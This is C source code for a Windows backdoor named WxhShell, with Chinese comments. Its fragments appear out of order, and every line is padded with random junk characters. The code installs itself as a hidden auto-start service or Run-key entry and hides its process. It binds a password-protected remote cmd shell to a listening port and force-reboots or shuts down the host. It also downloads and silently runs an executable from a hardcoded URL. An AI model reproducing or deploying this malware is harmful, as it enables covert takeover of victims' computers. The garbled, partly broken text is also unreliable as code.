    if(Boot(SHUTDOWN)) U'pm5Mc\q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zk#^H*jgx  
    else { tEz6B}  
    closesocket(wsh); P;&rh U^[  
    ExitThread(0); <Tq&Va_w  
    } 0nkon3H  
    break; -rU~  
    } 2gn*B$a  
  // 获取shell ryz [A:^G  
  case 's': { #z|\AmZ\  
    CmdShell(wsh); ~[@Gj{6p0  
    closesocket(wsh); bYr;~ ^  
    ExitThread(0); ~<M/<%o2*  
    break; sGNVZx  
  } dg%Orvuz  
  // 退出 us&!%`  
  case 'x': { _9Pxtf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wi#]*\N\9  
    CloseIt(wsh); -*[?E!F  
    break; 'xNPy =#  
    } b\/:-][  
  // 离开 tK<GU.+  
  case 'q': { < bHu9D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UWdPB2x[  
    closesocket(wsh); @PXb^x#k  
    WSACleanup(); G)(\!0pNZ  
    exit(1); 4<S*gu*W  
    break; 8:Yha4<Bv7  
        } $9 GRAM.  
  } ^!]Hm&.a  
  } ,"U8Fgf[r  
!/4f/g4Ze  
  // 提示信息 ?Rc+H;x=f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !6eXJ#~[E  
} RP]hW{:U  
  } 1vcI`8%S+u  
Kt WG2  
  return; ]w _,0q  
} lYlU8l5>  
)7mX]@  
// shell模块句柄 y(pHt  
int CmdShell(SOCKET sock) Ol>"'  
{ ?^z!yD\  
STARTUPINFO si; o E+s8Q  
ZeroMemory(&si,sizeof(si)); lFWN [`H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P)fv:a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b\zRwp  
PROCESS_INFORMATION ProcessInfo; >uN`q1?l'  
char cmdline[]="cmd";  \Vis  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rn O%8Hk  
  return 0; mU1lEx$  
} (>qX>  
Az.k6)~  
// 自身启动模式 a :jRQ-F)  
int StartFromService(void) - b>"2B?  
{ 8uyUvSB  
typedef struct I)~&6@J n  
{ 15Vb`Vf`N  
  DWORD ExitStatus; #C?T  
  DWORD PebBaseAddress; ^7`"wj14  
  DWORD AffinityMask; 0_Hdj K  
  DWORD BasePriority; 2e}${NZN  
  ULONG UniqueProcessId; 9I>+Q&   
  ULONG InheritedFromUniqueProcessId; Q]_3 #_'  
}   PROCESS_BASIC_INFORMATION; zr9o  
V/Hjd`n)`i  
PROCNTQSIP NtQueryInformationProcess; 'hl>pso.  
.BsZ.!MPL(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eTI<WFRc_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b _fI1f|  
z\Y+5<a  
  HANDLE             hProcess; !g /&ws&  
  PROCESS_BASIC_INFORMATION pbi; .O [RE_j  
W1X\!Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G| pZ  
  if(NULL == hInst ) return 0; }$W4aG*[  
.I{b]6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?45kN=%*s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [>"bL$tlo*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6JWCB9$4  
k%\_UYa  
  if (!NtQueryInformationProcess) return 0; **rA/*Oc  
 `"v5bk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .BGM1ph}~  
  if(!hProcess) return 0; "|CzQ&e  
^(I4Do~}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mrDIt4$D  
P&3'N~k-  
  CloseHandle(hProcess); 96aA2s1  
~U&,hFSPY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &6A'}9Ch  
if(hProcess==NULL) return 0; yH>`Kbf T  
i<|5~tm  
HMODULE hMod; @psyO]D=j%  
char procName[255]; }7CMXw [  
unsigned long cbNeeded; .op: 2y9]  
hkw;W[ZWa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3X$)cZQ  
.$+]N[-=  
  CloseHandle(hProcess); ZCi~4&Z#  
uhL+bj+W  
if(strstr(procName,"services")) return 1; // 以服务启动 H4LZNko  
kVs'>H@FY  
  return 0; // 注册表启动 =>Y b~r71  
} &LE,.Q34  
Zam.g>{]  
// 主模块 l%*KBME  
int StartWxhshell(LPSTR lpCmdLine) PL/as3O^A  
{ .Gv9RKgd~  
  SOCKET wsl; U@+ @Mc  
BOOL val=TRUE; uR{HCZ-  
  int port=0; u2 a U0k:  
  struct sockaddr_in door; FR9<$  
)xiiTkJd5  
  if(wscfg.ws_autoins) Install(); *)k}@tY  
 ~dfc  
port=atoi(lpCmdLine); t>|Y-i3cb  
Go3EWM`Cd8  
if(port<=0) port=wscfg.ws_port; Tl=cniy]  
0!F"s>(H  
  WSADATA data; y0qrl4S)v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9Vz1*4Ln  
h)BRSs?v_D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q[^IX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zCKZv|j6  
  door.sin_family = AF_INET; {dJC3/ Rf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !b0'd'xe  
  door.sin_port = htons(port); 7''l\3mIn  
kH1hsDe|&y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3o%,8l,  
closesocket(wsl); YQOdwc LG  
return 1; J@Eqqyf"  
} R0y={\*B5k  
KE:PRX  
  if(listen(wsl,2) == INVALID_SOCKET) { T1hr5V<U  
closesocket(wsl); ~U`oew  
return 1; B" TZ8(<  
} Eq^k @  
  Wxhshell(wsl); N-|E^XIV  
  WSACleanup(); *@=in7*c  
Mk"+*G  
return 0; MB :knj  
cVJ"^wgBt  
} V0 x[sEW  
VO3&!uOd  
// 以NT服务方式启动 kA?a}   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yu-e |:  
{ #+HLb  
DWORD   status = 0; Q[_{:DJA  
  DWORD   specificError = 0xfffffff; OiNzN.}d  
_x 'R8/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sfi.zu G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <m9hM?^q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xy$73K6  
  serviceStatus.dwWin32ExitCode     = 0; b'Qia'a%  
  serviceStatus.dwServiceSpecificExitCode = 0; "P HkbU  
  serviceStatus.dwCheckPoint       = 0; {8UYu2t  
  serviceStatus.dwWaitHint       = 0; *"` dO9Yf_  
qLBXyQ;U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y~Y-L<`I  
  if (hServiceStatusHandle==0) return; ^pZ1uN!b  
G\G TS}u[  
status = GetLastError(); >k,|N4(  
  if (status!=NO_ERROR) J]/TxUE  
{ %`%oupqm+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;hGC.}X  
    serviceStatus.dwCheckPoint       = 0; R;&C6S  
    serviceStatus.dwWaitHint       = 0; By{zX,6'  
    serviceStatus.dwWin32ExitCode     = status; A<l8CWv[  
    serviceStatus.dwServiceSpecificExitCode = specificError; jZeY^T)f"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v.:aICB5  
    return; N&7= hni  
  } bqp6cg\p  
XJy~uks,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zb.^ _A  
  serviceStatus.dwCheckPoint       = 0; "OF4#a17  
  serviceStatus.dwWaitHint       = 0; !s pp*Q)#\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ig75bZz   
} occ^bq  
OQMkpX-dH  
// 处理NT服务事件,比如:启动、停止 I&~kwOP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &Oc^LV$6  
{ ]|62l+  
switch(fdwControl) bVmHUcR0  
{ [G2@[Ct Y1  
case SERVICE_CONTROL_STOP: S[,!  
  serviceStatus.dwWin32ExitCode = 0; ^;jJVYx-PP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^T@ (`H4@  
  serviceStatus.dwCheckPoint   = 0; 4Gs#_|!  
  serviceStatus.dwWaitHint     = 0; yQE|FbiA  
  { eznt "Rr2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O*{<{3  
  } lo*OmAF  
  return; \7PPFKS  
case SERVICE_CONTROL_PAUSE: Q\Dx/?g!vx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r!SMF ]?SJ  
  break; D+ mZ7&L  
case SERVICE_CONTROL_CONTINUE: 2g~qVT,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RUqN,C,m5I  
  break; aTS\NpK&  
case SERVICE_CONTROL_INTERROGATE: XWN ra  
  break; <WFA3  
}; G n"]<8yl~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |N_tVE  
} stuj,8  
>QO^h<.>  
// 标准应用程序主函数 )3 #gpM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fw5|_@&k  
{ X{4jyi-<  
/a.4atb0  
// 获取操作系统版本 ?q a  
OsIsNt=GetOsVer(); 't:$Lx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F: %-x=q  
l?pF?({  
  // 从命令行安装 lM1~ K  
  if(strpbrk(lpCmdLine,"iI")) Install(); cb!mV5M-g  
FJ0Ity4u6  
  // 下载执行文件 gU\pP,a  
if(wscfg.ws_downexe) { CXt9 5O?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -&4>>h9 _  
  WinExec(wscfg.ws_filenam,SW_HIDE); (5- w>(  
} 68Po`_/s  
nZZNx  
if(!OsIsNt) { JPQWRK^  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,Y *unk<S  
HideProc(); f%vJmpg  
StartWxhshell(lpCmdLine); ~hK7(K  
} \7rAQ[\#V  
else 0VsQ$4'V^  
  if(StartFromService()) +UbSqp1BS  
  // 以服务方式启动 e ewhT ^  
  StartServiceCtrlDispatcher(DispatchTable); {gh41G;n  
else AsFn%8_I  
  // 普通方式启动 _CqVH5U?  
  StartWxhshell(lpCmdLine); _8t5rF  
I5]=\k($  
return 0; <vMna< /d  
} K$v SdpC  
rEz-\jLD~  
+8qtFog$\g  
o6`4y^Q{/  
=========================================== c%1k'Q  
%Aaf86pkp  
;fomc<  
.EeXq }a[  
U%%fKL=S  
x/~qyX8vo  
" EmrUzaGD  
od~^''/b  
#include <stdio.h> (Z:(f~;  
#include <string.h> 1Q_  C  
#include <windows.h> ?88k`T'EI  
#include <winsock2.h> X3[gi`  
#include <winsvc.h> W\]bh'(  
#include <urlmon.h> ;R[  xo!  
& Tz@lvOv%  
#pragma comment (lib, "Ws2_32.lib") vBy t_X  
#pragma comment (lib, "urlmon.lib") =&+]>g{T  
337y,;  
#define MAX_USER   100 // 最大客户端连接数 eC%uu  
#define BUF_SOCK   200 // sock buffer C]S~DK1  
#define KEY_BUFF   255 // 输入 buffer B ~u9"SR.  
$t*>A+J  
#define REBOOT     0   // 重启 |-Rg].  
#define SHUTDOWN   1   // 关机 =$bJ`GpJ  
fP 1V1ao  
#define DEF_PORT   5000 // 监听端口 PJd7t% m;  
Pdgn9  
#define REG_LEN     16   // 注册表键长度 3a9%djGq  
#define SVC_LEN     80   // NT服务名长度 5)712b(&  
rP4v_?Zg+  
// 从dll定义API nW)-bAV<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =^liong0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lMkDLobos  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .CJQ]ECl7p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Xae0xs  
d)@Hx8  
// wxhshell配置信息 'ec G:B`S  
struct WSCFG { (!b_o A8V  
  int ws_port;         // 监听端口 UI:YzR  
  char ws_passstr[REG_LEN]; // 口令 SZUhZIz&  
  int ws_autoins;       // 安装标记, 1=yes 0=no \YUl$d0  
  char ws_regname[REG_LEN]; // 注册表键名 )m8ve)l  
  char ws_svcname[REG_LEN]; // 服务名 8CXZ7 p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B$A`thQp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R-7.q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $db]b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1D2Uomd(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $;O-1# ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L'i0|_  
eAqSY s!1  
}; E} Ir<\  
X;2I' Kg  
// default Wxhshell configuration Za,MzKd=  
struct WSCFG wscfg={DEF_PORT, @8keLrp  
    "xuhuanlingzhe", !LGnh  
    1, ku2g FO  
    "Wxhshell", s |40v@ M  
    "Wxhshell", |W't-}yf  
            "WxhShell Service", }iGpuoXT`  
    "Wrsky Windows CmdShell Service", $qz(9M(m#  
    "Please Input Your Password: ", yH`4 sd  
  1, !-G'8a|7  
  "http://www.wrsky.com/wxhshell.exe", ( mV*7Z  
  "Wxhshell.exe" sb1Zm*m6  
    }; D.7,xgH  
K)-Gv|*t  
// 消息定义模块 kXj rc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,E7+Z' ;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (tZ#E L0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j[E8C$lW  
char *msg_ws_ext="\n\rExit."; :+ASZE.  
char *msg_ws_end="\n\rQuit."; U2Uf69R  
char *msg_ws_boot="\n\rReboot..."; 7CKpt.Sz6  
char *msg_ws_poff="\n\rShutdown..."; cZ8lRVaWW  
char *msg_ws_down="\n\rSave to "; 8(AI|"A"-  
"zN2+X"&  
char *msg_ws_err="\n\rErr!"; r'TxYM-R  
char *msg_ws_ok="\n\rOK!"; yQP!Vt^  
aJ!(c}N~97  
char ExeFile[MAX_PATH]; +jpaBr-O#  
int nUser = 0; $x5,Oen  
HANDLE handles[MAX_USER]; b*;zdGX.A9  
int OsIsNt; 25bbuhss  
D\~s$.6B  
SERVICE_STATUS       serviceStatus; ;N+ v x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  {J aulg  
/5x~3~  
// 函数声明 }kNbqwVP  
int Install(void); 5,Q3#f~!  
int Uninstall(void); <V> [H7  
int DownloadFile(char *sURL, SOCKET wsh); rwZI;t$hf  
int Boot(int flag); tQ:g#EqL9B  
void HideProc(void); tVAWc$3T  
int GetOsVer(void); C(=$0FIR  
int Wxhshell(SOCKET wsl); h;q= <[h\  
void TalkWithClient(void *cs); m=s aUhI*9  
int CmdShell(SOCKET sock); {"^LUw8fd  
int StartFromService(void); 4jWzYuI&J  
int StartWxhshell(LPSTR lpCmdLine); s=[Tm}[  
uq/z.m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m7dpr$J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `5HFRgL`.  
+2DzX/3  
// 数据结构和表定义 ^Vbx9UN/  
SERVICE_TABLE_ENTRY DispatchTable[] = !b !C+ \v  
{ qcNu9Ih  
{wscfg.ws_svcname, NTServiceMain}, xgdS]Sz  
{NULL, NULL} i146@<\G{P  
}; L9lNAiOH  
|*G$ilu  
// 自我安装 )+Nm @+B  
int Install(void) ?MW *`U  
{ 9+z5 $  
  char svExeFile[MAX_PATH]; RFsd/K;Zp  
  HKEY key; TT85G&#  
  strcpy(svExeFile,ExeFile); %VV\biO]  
rNi]|)-ET  
// 如果是win9x系统,修改注册表设为自启动 $ 8"we  
if(!OsIsNt) { t:NYsL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tQ,,krw~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z.4 vKO[<  
  RegCloseKey(key); a&sVcsX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "w PA;4VQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); miWPLnw=L  
  RegCloseKey(key); :,<G6"i  
  return 0; sI M^e  
    } S!LLC{  
  } |b BA0.yS  
} 4qd =]i  
else { )td?t.4  
# NoY}*  
// 如果是NT以上系统,安装为系统服务 AX`>y@I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8+7n"6GY2/  
if (schSCManager!=0) gs xT  
{ Q3@MRR^tY  
  SC_HANDLE schService = CreateService k$ ya.b<X/  
  ( }3b3^f  
  schSCManager, b I%Sq+"}  
  wscfg.ws_svcname, %^`b)   
  wscfg.ws_svcdisp, ^~p^N <  
  SERVICE_ALL_ACCESS, {6y@;Fd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @;6I94Bp  
  SERVICE_AUTO_START, 9_$i.@L 1  
  SERVICE_ERROR_NORMAL, T%[&[8{8  
  svExeFile, yLC5S3^1\"  
  NULL, bOB<m4  
  NULL, 1WTDF  
  NULL, eX{:&Do  
  NULL, B4&K2;fg_  
  NULL xr;:gz!h  
  ); ""Ub^:ucD  
  if (schService!=0) 8C[W;&Y=  
  { >}uDQwX8  
  CloseServiceHandle(schService); ?k|}\l[X1  
  CloseServiceHandle(schSCManager); D2,2Yy5 y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NcuZw?  
  strcat(svExeFile,wscfg.ws_svcname); H'2J!/V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,qj1"e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n#US4&uT4A  
  RegCloseKey(key); 3 L:s5  
  return 0; #Epx'$9  
    } 5qe6/E@  
  } k@[P\(a3b  
  CloseServiceHandle(schSCManager); T#o?@ ;  
} @|=JXSr!KY  
} X\=m  
ytmFe!  
return 1; !1X^lFf;~  
} z PW[GkD  
7_=7 ;PQ<  
// 自我卸载 nfldj33*  
int Uninstall(void) 9=l6NNe)|  
{ i"B q*b@  
  HKEY key; #1-2)ZO.  
_EusY3q  
if(!OsIsNt) { |}FK;@'I6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rnkq.  
  RegDeleteValue(key,wscfg.ws_regname); lI)RaiMr=  
  RegCloseKey(key); pv}k=wqJ1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `U.VfQR:  
  RegDeleteValue(key,wscfg.ws_regname); u%s@B1j  
  RegCloseKey(key); y8HwyU>  
  return 0; K3;lst>4  
  } rUz-\H(-  
} doX8Tq   
} FX yyY-(O  
else { 2 &(w\#'  
@W|N1,sp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !5wuBJ0  
if (schSCManager!=0) mY'c<>6t  
{ aFbIJm=!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3IlflXb  
  if (schService!=0) +=N!37+G  
  { as k76  e  
  if(DeleteService(schService)!=0) { x!i(M>P  
  CloseServiceHandle(schService); |_} LMkU)  
  CloseServiceHandle(schSCManager); ,Fv8&tR  
  return 0; `Z' h[-2`  
  } }|Ao@UvH  
  CloseServiceHandle(schService); 4t]YHLBS  
  } 6Hh\ys  
  CloseServiceHandle(schSCManager); R.Uwf  
} 2~wIHtd  
} 3j h: K   
#+Pk_?  
return 1; O} &%R:  
} eM) I%  
)tD[Ffvr  
// 从指定url下载文件 'G#T 6B!  
int DownloadFile(char *sURL, SOCKET wsh) ^p}S5,  
{ Q,`R-?v  
  HRESULT hr; ULJV  
char seps[]= "/"; Ch;wvoy  
char *token; hi.` O+;  
char *file; fDzG5}i  
char myURL[MAX_PATH]; ^W*T~V*8  
char myFILE[MAX_PATH]; &yabxl_  
e  -yL  
strcpy(myURL,sURL); C3hQT8~  
  token=strtok(myURL,seps); 4[.DQ#r  
  while(token!=NULL) '=V!Y$tn  
  { rD?G7l<~>_  
    file=token; q!y6 K*  
  token=strtok(NULL,seps); nG~#o  
  } Rn4Bl8z'>  
jMAZ4M  
GetCurrentDirectory(MAX_PATH,myFILE); sx]kH$  
strcat(myFILE, "\\"); ?nwFc3qw  
strcat(myFILE, file); 5.TeH@(  
  send(wsh,myFILE,strlen(myFILE),0); 3+uCTn0%  
send(wsh,"...",3,0); x Ilo@W6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1[ 4)Sq?  
  if(hr==S_OK) q; n  
return 0; d'okXCG  
else gR]NH  
return 1; nF#1B4b>  
aQTISX;  
} e6(Pw20)s  
K!cLEG!G  
// 系统电源模块 K8?]&.!  
int Boot(int flag) b<]Ae!I'  
{ li +MnLt  
  HANDLE hToken; m8:9Uv  
  TOKEN_PRIVILEGES tkp; *pP&$!bH%  
3%0ShMFP@  
  if(OsIsNt) { {~y,.[Ga  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %RS~>pK1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cN&]JS,  
    tkp.PrivilegeCount = 1; P2t{il   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bgNN0,+8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |({ M8!BS  
if(flag==REBOOT) { qrw"z iW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~B2,edkM  
  return 0; S!r,p};  
} p3q >a<  
else { i*\\j1mf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d7 W[.M$]  
  return 0; @,i_Gw)  
} Al0ls  
  } `J v~.EF%  
  else { >[A7oH  
if(flag==REBOOT) { )b7;w#%q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^K]`ZQjKC  
  return 0; ,'%wadOo  
} m,X8Cy|vQ  
else { KccIYn~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i .GJO +K  
  return 0; oWP3Y.  
} 0g{`Qd  
} <{Pr(U*7}  
7J6D wh{  
return 1; m(0c|-  
} +~{Honj[  
vWh]1G#'p[  
// win9x进程隐藏模块 &&s3>D^Ta  
void HideProc(void) f$|AU- |<  
{ Ix59(g  
tSf$`4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :g~X"C1s  
  if ( hKernel != NULL ) PZ[hH(EX  
  { '&+5L.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "WfVZBWG$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O+w82!<:  
    FreeLibrary(hKernel); 5 >c,#*  
  } W3M1> (  
5B)z}g^h  
return; 3X>x`  
} ->S# `"@$  
w40 -K5wt>  
// 获取操作系统版本 )xxpO$  
int GetOsVer(void) \ y}!yrQ  
{ _+*+,Vx  
  OSVERSIONINFO winfo; vP. ^j7wB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \&jmSa=]l  
  GetVersionEx(&winfo); pj9*$.{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P~^VLnw  
  return 1; Iss)7I  
  else ON-zhT?v  
  return 0; 41XS/# M$*  
} :oeDksld  
6>)oG6  
// 客户端句柄模块 uozK'L  
int Wxhshell(SOCKET wsl) ?"Ec#,~  
{ 5fjL  
  SOCKET wsh; RqU^Q*/sF  
  struct sockaddr_in client; ?igA+(.  
  DWORD myID; p*5QV  
P ?A:0a  
  while(nUser<MAX_USER) Muay6b?  
{ WXmR{za   
  int nSize=sizeof(client); d$}!x[g$Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @ i*It Hk  
  if(wsh==INVALID_SOCKET) return 1; 6cVJu%<V  
jV 98 2Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [~Vj(H=KwI  
if(handles[nUser]==0) $Le|4Hj  
  closesocket(wsh); J-U5_>S  
else /t|Lu@&:Xo  
  nUser++; HOSt0IHzty  
  } *$ kpSph  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kW4B @Zh  
uWjSqyb:  
  return 0; &$NYZ3?9  
} /3KPK4!m  
|x+g5~$  
// 关闭 socket jxdX7aik  
void CloseIt(SOCKET wsh) $_Kcm"oj  
{ Yj{-|2YzL  
closesocket(wsh); t#N@0kIX.  
nUser--; UpFm3gKF  
ExitThread(0); EN-;@P9;C  
} H/''lI{k)  
k/,7FDO?m  
// 客户端请求句柄 h6;vOd~%  
void TalkWithClient(void *cs) l#|wF$J  
{ |6o!]~&e$1  
pybE0]   
  SOCKET wsh=(SOCKET)cs; #<o=W#[  
  char pwd[SVC_LEN]; X4dxH_@  
  char cmd[KEY_BUFF]; !lxq,Whr{  
char chr[1]; %/}46z9\  
int i,j; von<I  
,vcd>"PK  
  while (nUser < MAX_USER) { y{g"w  
{g7~e {2  
if(wscfg.ws_passstr) { OSY.$$IO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M"s+k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >XJUj4B|X  
  //ZeroMemory(pwd,KEY_BUFF); BIY"{"hJ  
      i=0; H~<w*[uT  
  while(i<SVC_LEN) { Y ow  
yB5JvD ?  
  // 设置超时 4'# ?"I  
  fd_set FdRead; OVUJiBp  
  struct timeval TimeOut; 9$s~ `z)  
  FD_ZERO(&FdRead); 4o3TW#  
  FD_SET(wsh,&FdRead); =Y {<&:%(  
  TimeOut.tv_sec=8; _@@.VmZL  
  TimeOut.tv_usec=0; sIzy/W0iV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M{4U%lk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b<27XZ@  
3Q!)bMv \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 36MNaQt'e  
  pwd=chr[0]; %?m_;iv  
  if(chr[0]==0xd || chr[0]==0xa) { 6m mc{kw'  
  pwd=0; pg.BOz\'q  
  break; K};~A?ET,h  
  } HB*H%>L{"B  
  i++; t_kRYdW9  
    } Y+nk:9  
' '<3;  
  // 如果是非法用户,关闭 socket jT*?Z:U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L/xTW  
} NiBly  
0q o]nw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3W3)%[ 5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f-`C1|\w  
uJSzz:\  
while(1) { e]*@|e4b  
U W' @3#<?  
  ZeroMemory(cmd,KEY_BUFF); %\] x}IC  
>Vph_98|  
      // 自动支持客户端 telnet标准   $&X-ay o  
  j=0; qGdoRrp0Ov  
  while(j<KEY_BUFF) { S+bpWA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8 k )i-&R  
  cmd[j]=chr[0]; +'9E4Lpx  
  if(chr[0]==0xa || chr[0]==0xd) { agd^ga3  
  cmd[j]=0; D9JHx+Xf>  
  break; UIC~%?oIA  
  } yrG=2{I  
  j++; S*V!t=  
    } q,T4- E  
.&2~g A  
  // 下载文件 g4^3H3Pd  
  if(strstr(cmd,"http://")) { +?v2MsF']  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *nSKIDw  
  if(DownloadFile(cmd,wsh)) %[x PyqX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B &e'n<  
  else *~kHH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |f3 :9(p  
  } W H%EC$  
  else { 'fPDODE  
u]Z;Q_=  
    switch(cmd[0]) { ^{a_:r"  
  zs.@=Z"  
